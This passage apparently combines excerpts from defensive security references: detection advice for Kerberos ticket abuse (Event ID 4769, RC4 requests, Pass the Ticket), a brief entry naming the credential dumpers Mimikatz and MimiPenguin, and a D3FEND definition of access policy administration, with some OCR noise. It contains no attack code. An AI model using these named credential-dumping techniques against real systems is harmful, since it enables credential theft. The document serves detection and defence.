requests without preceding TGT requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the
Ticket being used to move laterally.

Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate
irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type
0x17]).

Copyright ©Tomohisdshikawa All rights reserved.
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$0002 : Mimikatz ([EIEEEY B

Mimikatz is a credential dumper capable of obtaining plaintext Windows
account logins and passwords, along with many other features that make it
useful for testing the security of networks. [ 2]

Name (7] Summary (7] Link (5] Goto[#

$0179 : MimiPenguin [Ty
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Access Policy Administration

D3-APA

D3-APA (Access Policy Administration)
Definition
Access policy administration is the systematic process of defining, implementing, and managing access control policies that dictate user permissions to resources.
Synonyms: Access Control Administration .
Digital Artifact Relationships:

This defensive technique is related to specific digital artifacts. Click the artifact node for more information.
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Technique Subclasses

There are 4 techniques in this category, Access Policy Administration.

Name ID Definition Synonyms
Access Policy Administration D3-APA Access policy administration is the systematic process of defining, implementing, and managing access control policies that dictate user permissions to resources. Access Control Administration
- Local File Permissions D3-LFP Restricting access to a local file by configuring operating system functionality.

- User Account Permissions D3-UAP Restricting a user account's access to resources.

- Domain Trust Policy D3-DTP Restricting inter-domain trust by modifying domain configuration.
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D3FEND Inferred Relationships

Browse the D3FEND knowledge graph by clicking on the nodes below.
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